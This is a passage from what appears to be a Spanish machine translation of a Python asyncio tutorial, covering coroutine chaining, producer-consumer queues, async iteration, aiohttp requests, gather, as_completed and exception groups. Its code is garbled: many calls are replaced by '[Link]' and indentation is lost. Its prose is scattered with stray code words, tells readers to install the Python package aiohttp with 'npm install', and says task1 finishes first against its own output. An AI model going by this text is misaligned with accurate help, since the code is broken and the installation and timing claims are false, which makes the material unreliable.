Una vez que recibas la >>>indicación, puedes comenzar a ejecutar código asíncrono.
Considera el siguiente ejemplo, donde reutilizas el código de la sección anterior:
Python 3.8+
>>> import asyncio
>>> async def main():
... print("Hello...")
... await [Link](1)
... print("World!")
...
>>> await main()
Hello...
World!
Este ejemplo funciona igual que el de la sección anterior. Sin embargo, en lugar de
ejecutarlo main()usando [Link](), se usa awaitdirectamente.
Patrones comunes de programación de E/S asíncrona
La entrada/salida asíncrona cuenta con su propio conjunto de patrones de programación que
permiten escribir código asíncrono más eficiente. En la práctica, se pueden encadenar
corrutinas o usar una cola de corrutinas. Aprenderá a usar estos dos patrones en las
siguientes secciones.
Encadenamiento de corrutinas
Una característica clave de las corrutinas es que se pueden encadenar . Recuerda que una
corrutina es esperable, por lo que otra corrutina puede esperarla usando la awaitpalabra
clave `await`. Esto facilita dividir el programa en corrutinas más pequeñas, manejables y
reutilizables.
El siguiente ejemplo simula un proceso de dos pasos para obtener información sobre un
usuario. El primer paso obtiene la información del usuario y el segundo, sus publicaciones:
[Link]
import asyncio
import random
import time
async def main():
user_ids = [1, 2, 3]
start = time.perf_counter()
await [Link](
*(get_user_with_posts(user_id) for user_id in user_ids)
)
end = time.perf_counter()
print(f"\n==> Total time: {end - start:.2f} seconds")
async def get_user_with_posts(user_id):
user = await fetch_user(user_id)
await fetch_posts(user)
async def fetch_user(user_id):
delay = [Link](0.5, 2.0)
print(f"User coro: fetching user by {user_id=}...")
await [Link](delay)
user = {"id": user_id, "name": f"User{user_id}"}
print(f"User coro: fetched user with {user_id=} (done in {delay:.1f}s).")
return user
async def fetch_posts(user):
delay = [Link](0.5, 2.0)
print(f"Post coro: retrieving posts for {user['name']}...")
await [Link](delay)
posts = [f"Post {i} by {user['name']}" for i in range(1, 3)]
print(
f"Post coro: got {len(posts)} posts by {user['name']}"
f" (done in {delay:.1f}s):"
)
for post in posts:
print(f" - {post}")
if __name__ == "__main__":
[Link](444)
[Link](main())
En este ejemplo, se definen dos corrutinas
principales: fetch_user()y fetch_posts(). Ambas simulan una llamada de red con
un retardo aleatorio utilizando [Link]().
En la fetch_user()corrutina, se devuelve un diccionario de usuario simulado .
Luego fetch_posts(), se usa ese diccionario para devolver una lista de publicaciones
simuladas atribuidas al usuario en cuestión. Las demoras aleatorias simulan
comportamientos asíncronos reales, como la latencia de la red.
El encadenamiento de corrutinas se produce en el bloque
`on` get_user_with_posts(). Esta corrutina espera fetch_user()y almacena el
resultado en la user variable `result` . Una vez que la información del usuario está
disponible, se pasa a `on` fetch_posts()para recuperar las publicaciones de forma
asíncrona.
En main(), se utiliza [Link]()para ejecutar las corrutinas encadenadas
ejecutándolas get_user_with_posts()tantas veces como el número de ID de
usuario que tenga.
Este es el resultado de ejecutar el script:
$ python [Link]
User coro: fetching user by user_id=1...
User coro: fetching user by user_id=2...
User coro: fetching user by user_id=3...
User coro: fetched user with user_id=2 (done in 0.5s).
Post coro: retrieving posts for User2...
User coro: fetched user with user_id=1 (done in 1.0s).
Post coro: retrieving posts for User1...
User coro: fetched user with user_id=3 (done in 1.2s).
Post coro: retrieving posts for User3...
Post coro: got 2 posts by User2 (done in 1.8s):
- Post 1 by User2
- Post 2 by User2
Post coro: got 2 posts by User1 (done in 1.6s):
- Post 1 by User1
- Post 2 by User1
Post coro: got 2 posts by User3 (done in 1.5s):
- Post 1 by User3
- Post 2 by User3
==> Total time: 2.68 seconds
Si se suman los tiempos de todas las operaciones, este ejemplo tardaría unos 7,6 segundos
con una implementación síncrona. Sin embargo, con la implementación asíncrona, solo
tarda 2,68 segundos.
Este patrón, que consiste en esperar a que una corrutina finalice y pasar su resultado a la
siguiente, crea una cadena de corrutinas , donde cada paso depende del anterior. Este
ejemplo imita un flujo de trabajo asíncrono común en el que se obtiene una información y
se utiliza para obtener datos relacionados.
Integración de corrutinas y colas
El asynciopaquete proporciona algunas clases similares a colas , diseñadas para ser
parecidas a las del queuemódulo. Hasta ahora, en los ejemplos no se ha necesitado una
estructura de cola. En este módulo [Link], cada tarea se realiza mediante una
corrutina, que se encadena con otras para pasar datos de una a otra.
Una alternativa consiste en usar productores que añaden elementos a una cola . Cada
productor puede añadir varios elementos a la cola en momentos escalonados, aleatorios y
sin previo aviso. A continuación, un grupo de consumidores extrae los elementos de la
cola a medida que aparecen, de forma voraz y sin esperar ninguna otra señal.
En este diseño, no existe una cadena de suministro entre productores y consumidores. Los
consumidores desconocen el número de productores, y viceversa.
El tiempo que tarda un productor o consumidor en añadir o eliminar elementos de la cola es
variable. La cola actúa como un canal de comunicación que permite la interacción entre
productores y consumidores sin que estos se comuniquen directamente entre sí.
[Link] continuación se muestra una versión basada en colas :
[Link]
import asyncio
import random
import time
async def main():
queue = [Link]()
user_ids = [1, 2, 3]
start = time.perf_counter()
await [Link](
producer(queue, user_ids),
*(consumer(queue) for _ in user_ids),
)
end = time.perf_counter()
print(f"\n==> Total time: {end - start:.2f} seconds")
async def producer(queue, user_ids):
async def fetch_user(user_id):
delay = [Link](0.5, 2.0)
print(f"Producer: fetching user by {user_id=}...")
await [Link](delay)
user = {"id": user_id, "name": f"User{user_id}"}
print(f"Producer: fetched user with {user_id=} (done in {delay:.1f}s)")
await [Link](user)
await [Link](*(fetch_user(uid) for uid in user_ids))
for _ in range(len(user_ids)):
await [Link](None) # Sentinels for consumers to terminate
async def consumer(queue):
while True:
user = await [Link]()
if user is None:
break
delay = [Link](0.5, 2.0)
print(f"Consumer: retrieving posts for {user['name']}...")
await [Link](delay)
posts = [f"Post {i} by {user['name']}" for i in range(1, 3)]
print(
f"Consumer: got {len(posts)} posts by {user['name']}"
f" (done in {delay:.1f}s):"
)
for post in posts:
print(f" - {post}")
if __name__ == "__main__":
[Link](444)
[Link](main())
En este ejemplo, la producer()función obtiene de forma asíncrona datos de usuario
simulados. Cada diccionario de usuario obtenido se almacena en
un [Link], que comparte los datos con los consumidores. Tras generar
todos los objetos de usuario, el productor inserta un valor centinela —también conocido
como « píldora venenosa» en este contexto— para cada consumidor, indicando que no se
enviarán más datos y permitiendo que los consumidores finalicen correctamente.
La consumer()función lee continuamente de la cola. Si recibe un diccionario de
usuario, simula la obtención de las publicaciones de ese usuario, espera un tiempo aleatorio
e imprime los resultados. Si obtiene el valor centinela, finaliza el bucle.
Este desacoplamiento permite que múltiples consumidores procesen usuarios
simultáneamente, incluso mientras el productor sigue generando usuarios, y la cola
garantiza una comunicación segura y ordenada entre productores y consumidores.
La cola es el punto de comunicación entre productores y consumidores, lo que permite un
sistema escalable y con capacidad de respuesta.
Así es como funciona el código en la práctica:
$ python [Link]
Producer: fetching user by user_id=1...
Producer: fetching user by user_id=2...
Producer: fetching user by user_id=3...
Producer: fetched user with user_id=2 (done in 0.5s)
Consumer: retrieving posts for User2...
Producer: fetched user with user_id=1 (done in 1.0s)
Consumer: retrieving posts for User1...
Producer: fetched user with user_id=3 (done in 1.2s)
Consumer: retrieving posts for User3...
Consumer: got 2 posts by User2 (done in 1.8s):
- Post 1 by User2
- Post 2 by User2
Consumer: got 2 posts by User1 (done in 1.6s):
- Post 1 by User1
- Post 2 by User1
Consumer: got 2 posts by User3 (done in 1.5s):
- Post 1 by User3
- Post 2 by User3
==> Total time: 2.68 seconds
De nuevo, el código se ejecuta en tan solo 2,68 segundos, lo que resulta más eficiente que
una solución síncrona. El resultado es prácticamente el mismo que al usar corrutinas
encadenadas en la sección anterior.
Otras características de E/S asíncrona en Python
Las características de E/S asíncrona de Python van más allá de las async
defconstrucciones `async` awaity `async`. Incluyen otras herramientas avanzadas que
hacen que la programación asíncrona sea más expresiva y coherente con las construcciones
habituales de Python.
En las siguientes secciones, explorarás potentes características asíncronas, como bucles y
comprensiones asíncronas, la async withinstrucción `if` y los grupos de excepciones.
Estas características te ayudarán a escribir código asíncrono más limpio y legible.
Iteradores asíncronos, bucles y comprensiones
Además de usar ` async` asyncy ` awaitawait` para crear corrutinas, Python también
proporciona la async forestructura `async` para iterar sobre un iterador asíncrono . Un
iterador asíncrono permite iterar sobre datos generados de forma asíncrona. Mientras se
ejecuta el bucle, devuelve el control al bucle de eventos para que se puedan ejecutar otras
tareas asíncronas.
Nota: Para obtener más información sobre iteradores asíncronos, consulte el
tutorial Iteradores asíncronos e iterables en Python .
Una extensión natural de este concepto es un generador asíncrono . Aquí hay un ejemplo
que genera potencias de dos y las usa en un bucle y una comprensión:
>>> import asyncio
>>> async def powers_of_two(stop=10):
... exponent = 0
... while exponent < stop:
... yield 2**exponent
... exponent += 1
... await [Link](0.2) # Simulate some asynchronous work
...
>>> async def main():
... g = []
... async for i in powers_of_two(5):
... [Link](i)
... print(g)
... f = [j async for j in powers_of_two(5) if not (j // 3 % 5)]
... print(f)
...
>>> [Link](main())
[1, 2, 4, 8, 16]
[1, 2, 16]
Existe una distinción crucial entre generadores, bucles y comprensiones síncronas y
asíncronas. Sus contrapartes asíncronas no hacen que la iteración sea inherentemente
concurrente. En cambio, permiten que el bucle de eventos ejecute otras tareas entre
iteraciones cuando se cede el control explícitamente mediante ` await. La iteración en sí
sigue siendo secuencial a menos que se introduzca concurrencia mediante
` [Link]().
El uso de async for`and` async withsolo es necesario cuando se trabaja con
iteradores asíncronos o administradores de contexto, donde un ` foror`
regular withgeneraría errores.
withSentencias asíncronas
La withinstrucción también tiene una versión asíncronaasync with . Esta
construcción es bastante común en el código asíncrono, ya que muchas tareas con uso
intensivo de E/S implican fases de configuración y finalización.
Por ejemplo, supongamos que necesita escribir una corrutina para comprobar si algunos
sitios web están en línea. Para ello, puede usar `npm install` aiohttp, una biblioteca de
terceros que debe instalar ejecutando `npm install` python -m pip install
aiohttpen la línea de comandos.
Aquí tenéis un ejemplo rápido que implementa la funcionalidad requerida:
>>> import asyncio
>>> import aiohttp
>>> async def check(url):
... async with [Link]() as session:
... async with [Link](url) as response:
... print(f"{url}: status -> {[Link]}")
...
>>> async def main():
... websites = [
... "[Link]
... "[Link]
... "[Link]
... ]
... await [Link](*(check(url) for url in websites))
...
>>> [Link](main())
[Link] status -> 200
[Link] status -> 200
[Link] status -> 200
En este ejemplo, se utilizan ` get` aiohttpy ` asyncioget` para realizar
solicitudes HTTP GET simultáneas a una lista de sitios web. La check()corrutina
obtiene e imprime el estado del sitio web. La async withinstrucción `set` garantiza que
tanto `get` ClientSessioncomo la respuesta HTTP individual se gestionen
correctamente y de forma asíncrona, abriéndolas y cerrándolas sin bloquear el bucle de
eventos.
En este ejemplo, el uso async withde garantías asegura que los recursos de red
subyacentes, incluidas las conexiones y los sockets, se liberen correctamente, incluso si se
produce un error.
Finalmente, main()ejecuta las check()corrutinas de forma concurrente, lo que le
permite obtener las URL en paralelo sin tener que esperar a que una termine antes de
comenzar la siguiente.
Otras asyncioherramientas
Además de [Link](), has utilizado otras funciones a nivel de paquete,
como [Link]()y asyncio.get_event_loop(). Puedes
usar asyncio.create_task()para programar la ejecución de un objeto corrutina,
seguida de la llamada habitual a la [Link]()función:
>>> import asyncio
>>> async def coro(numbers):
... await [Link](min(numbers))
... return list(reversed(numbers))
...
>>> async def main():
... task = asyncio.create_task(coro([3, 2, 1]))
... print(f"{type(task) = }")
... print(f"{[Link]() = }")
... return await task
...
>>> result = [Link](main())
type(task) = <class '_asyncio.Task'>
[Link]() = False
>>> print(f"result: {result}")
result: [1, 2, 3]
Este patrón incluye un detalle importante que debes tener en cuenta: si creas
tareas create_task()pero no las esperas ni las envuelves en una corrutina gather(),
y esta main()finaliza, dichas tareas creadas manualmente se cancelarán al terminar el
bucle de eventos. Debes esperar a que se completen todas las tareas que quieras que
finalicen.
La create_task()función encapsula un objeto que puede esperarse en un objeto de
nivel superior Taskque se programa para ejecutarse simultáneamente en el bucle de
eventos en segundo plano. En cambio, esperar una corrutina la ejecuta inmediatamente,
pausando la ejecución de la función que la llamó hasta que la corrutina esperada finalice.
La gather()función tiene como objetivo organizar de forma ordenada una colección de
corrutinas en un único objeto futuro . Este objeto representa un marcador de posición para
un resultado que inicialmente se desconoce, pero que estará disponible en algún momento,
normalmente como resultado de cálculos asíncronos.
Si se gather()especifican varias tareas o corrutinas, el bucle esperará a que todas las
tareas finalicen. El resultado gather()será una lista de los resultados obtenidos con las
entradas especificadas.
>>> import time
>>> async def main():
... task1 = asyncio.create_task(coro([10, 5, 2]))
... task2 = asyncio.create_task(coro([3, 2, 1]))
... print("Start:", [Link]("%X"))
... result = await [Link](task1, task2)
... print("End:", [Link]("%X"))
... print(f"Both tasks done: {all(([Link](), [Link]()))}")
... return result
...
>>> result = [Link](main())
Start: 14:38:49
End: 14:38:51
Both tasks done: True
>>> print(f"result: {result}")
result: [[2, 5, 10], [1, 2, 3]]
Probablemente hayas notado que gather()espera el resultado completo del conjunto de
corrutinas que le pasas. El orden de los resultados gather()es determinista y
corresponde al orden de las funciones esperables que se le pasaron originalmente.
Como alternativa, puedes iterar asyncio.as_completed()para obtener las tareas a
medida que se completan. La función devuelve un iterador síncrono que genera las tareas
conforme finalizan. A continuación, el resultado coro([3, 2, 1])estará disponible antes
de coro([10, 5, 2])que se complete, lo cual no ocurría con la gather()función
anterior:
>>> async def main():
... task1 = asyncio.create_task(coro([10, 5, 2]))
... task2 = asyncio.create_task(coro([3, 2, 1]))
... print("Start:", [Link]("%X"))
... for task in asyncio.as_completed([task1, task2]):
... result = await task
... print(f'result: {result} completed at {[Link]("%X")}')
... print("End:", [Link]("%X"))
... print(f"Both tasks done: {all(([Link](), [Link]()))}")
...
>>> [Link](main())
Start: 14:36:36
result: [1, 2, 3] completed at 14:36:37
result: [2, 5, 10] completed at 14:36:38
End: 14:36:38
Both tasks done: True
En este ejemplo, la main()función utiliza `return` asyncio.as_completed(), que
devuelve las tareas en el orden en que se completan, no en el orden en que se iniciaron. A
medida que el programa recorre las tareas, espera a que finalicen, lo que permite que los
resultados estén disponibles inmediatamente después de su finalización.
Como resultado, la tarea más rápida ( task1) finaliza primero y su resultado se imprime
antes, mientras que la tarea más larga ( task2) se completa e imprime después.
Esta as_completed()función resulta útil cuando se necesita gestionar las tareas de
forma dinámica a medida que finalizan, lo que mejora la capacidad de respuesta en flujos
de trabajo concurrentes.
Manejo de excepciones asíncronas
A partir de Python 3.11 , puedes usar la ExceptionGroupclase para manejar
múltiples excepciones no relacionadas que pueden ocurrir simultáneamente. Esto es
especialmente útil al ejecutar varias corrutinas que pueden generar diferentes excepciones.
Además, la nueva except*sintaxis te ayuda a gestionar varios errores a la vez de forma
elegante.
Aquí tenéis una breve demostración de cómo usar esta clase en código asíncrono:
Python 3.11+
>>> import asyncio
>>> async def coro_a():
... await [Link](1)
... raise ValueError("Error in coro A")
...
>>> async def coro_b():
... await [Link](2)
... raise TypeError("Error in coro B")
...
>>> async def coro_c():
... await [Link](0.5)
... raise IndexError("Error in coro C")
...
>>> async def main():
... results = await [Link](
... coro_a(),
... coro_b(),
... coro_c(),
... return_exceptions=True
... )
... exceptions = [e for e in results if isinstance(e, Exception)]
... if exceptions:
... raise ExceptionGroup("Errors", exceptions)
...
En este ejemplo, tienes tres corrutinas que generan tres tipos diferentes de excepciones . En
la main()función, la llamas gather()con las corrutinas como argumentos. También
estableces el return_exceptionsargumento para Truepoder capturar las
excepciones si se producen.
A continuación, se utiliza una comprensión de lista para almacenar las excepciones en una
nueva lista. Si la lista contiene al menos una excepción, se crea un bloque
`for` ExceptionGrouppara ella.
Para gestionar este grupo de excepciones, puede utilizar el siguiente código:
Python 3.11+
>>> try:
... [Link](main())
... except* ValueError as ve_group:
... print(f"[ValueError handled] {ve_group.exceptions}")
... except* TypeError as te_group:
... print(f"[TypeError handled] {te_group.exceptions}")
... except* IndexError as ie_group:
... print(f"[IndexError handled] {ie_group.exceptions}")
...
[ValueError handled] (ValueError('Error in coro A'),)
[TypeError handled] (TypeError('Error in coro B'),)
[IndexError handled] (IndexError('Error in coro C'),)
En este código, se envuelve la llamada [Link]()en un trybloque. Luego, se
utiliza la except*sintaxis para capturar la excepción esperada por separado. En cada
caso, se imprime un mensaje de error en la pantalla.
E/S asíncrona en contexto
Ahora que has visto una buena dosis de código asíncrono, tómate un momento para
reflexionar sobre cuándo la E/S asíncrona es la opción ideal y cómo evaluar si es la
adecuada o si otro modelo de concurrencia podría ser mejor.
Cuándo usar E/S asíncrona
El uso async defde funciones que realizan operaciones bloqueantes —como E/S de
archivos estándar o solicitudes de red síncronas— bloqueará todo el bucle de eventos,
anulará las ventajas de la E/S asíncrona y podría reducir la eficiencia del programa.
Utilice async deffunciones solo para operaciones no bloqueantes .
La disyuntiva entre E/S asíncrona y multiprocesamiento no es una batalla real. Puedes usar
ambos modelos en conjunto si lo deseas. En la práctica, el multiprocesamiento suele ser la
mejor opción si tienes varias tareas que consumen muchos recursos de CPU.
La comparación entre E/S asíncrona e hilos es más directa. Los hilos no son sencillos, e
incluso en los casos en que parecen fáciles de implementar, pueden provocar errores
difíciles de rastrear debido a condiciones de carrera y al uso de memoria, entre otras cosas.
El uso de hilos también tiende a escalar de forma menos eficiente que la E/S asíncrona, ya
que los hilos son un recurso del sistema con disponibilidad limitada. Crear miles de hilos
fallará en muchas máquinas o puede ralentizar el código. En cambio, crear miles de tareas
de E/S asíncrona es totalmente factible.
La E/S asíncrona destaca cuando se tienen múltiples tareas con uso intensivo de E/S que de
otro modo estarían dominadas por tiempos de espera bloqueantes, como por ejemplo:
Entrada/salida de red , independientemente de si su programa actúa
como servidor o como cliente.
Diseños sin servidor , como una red multiusuario peer-to-peer tipo
chat grupal.
Operaciones de lectura/escritura en las que se desea imitar
un enfoque de " disparar y olvidar" sin preocuparse por mantener un
bloqueo en el recurso.
La principal razón para no usar E/S asíncrona es que awaitsolo admite un conjunto
específico de objetos que definen un conjunto particular de métodos. Por ejemplo, si desea
realizar operaciones de lectura asíncronas en un determinado sistema de gestión de bases de
datos (DBMS) , deberá encontrar un wrapper de Python para ese DBMS que admita la
sintaxis async`async` y ` awaitasync`.
Bibliotecas compatibles con E/S asíncrona
Encontrarás varias bibliotecas y frameworks de terceros de alta calidad que son
compatibles asynciocon Python o se basan en él, incluyendo herramientas para
servidores web, bases de datos, redes, pruebas y más. Aquí tienes algunas de las más
destacadas:
Marcos web:
o FastAPI : Framework web asíncrono moderno para la creación de
API web .
o Starlette : Marco de interfaz de puerta de enlace de servidor
asíncrono (ASGI) ligero para la creación de aplicaciones web
asíncronas de alto rendimiento.
o Sanic : Framework web asíncrono construido para la velocidad
usando asyncio.
o Quart : Microframework web asíncrono con la misma API
que Flask .
o Tornado : Framework web de alto rendimiento y biblioteca de
redes asíncronas.
Servidores ASGI:
o uvicorn : servidor web ASGI rápido.
o Hypercorn : servidor ASGI que admite varios protocolos y
opciones de configuración.
Herramientas de red:
o aiohttp : Implementación de cliente y servidor HTTP
usando asyncio.
o HTTPX : Cliente HTTP asíncrono y síncrono con todas las
funciones.
o websockets : Biblioteca para crear servidores y clientes
WebSocket con asyncio.
o aiosmtplib : Cliente SMTP asíncrono para el envío de correos
electrónicos .
Herramientas de base de datos:
o Bases de datos : Capa de acceso a bases de datos asíncrona
compatible con el núcleo de SQLAlchemy .
o Tortoise ORM : Mapeador objeto-relacional (ORM) asíncrono y
ligero.
o Gino : ORM asíncrono construido sobre el núcleo de SQLAlchemy
para PostgreSQL .
o Motor : Controlador MongoDB asíncrono basado en asyncio.
Bibliotecas de utilidades:
o aiofiles : Envuelve la API de archivos de Python para usarla
con asyncy await.
o aiocache : Biblioteca de almacenamiento en caché asíncrono
compatible con Redis y Memcached.
o APScheduler : Un planificador de tareas con soporte para
trabajos asíncronos.
o pytest-asyncio : Agrega soporte para probar funciones asíncronas
usando pytest .
Estas bibliotecas y frameworks te ayudan a escribir aplicaciones Python asíncronas de alto
rendimiento. Ya sea que estés creando un servidor web, obteniendo datos a través de la red
o accediendo a una base de datos, asyncioherramientas como estas te permiten gestionar
muchas tareas simultáneamente con una sobrecarga mínima.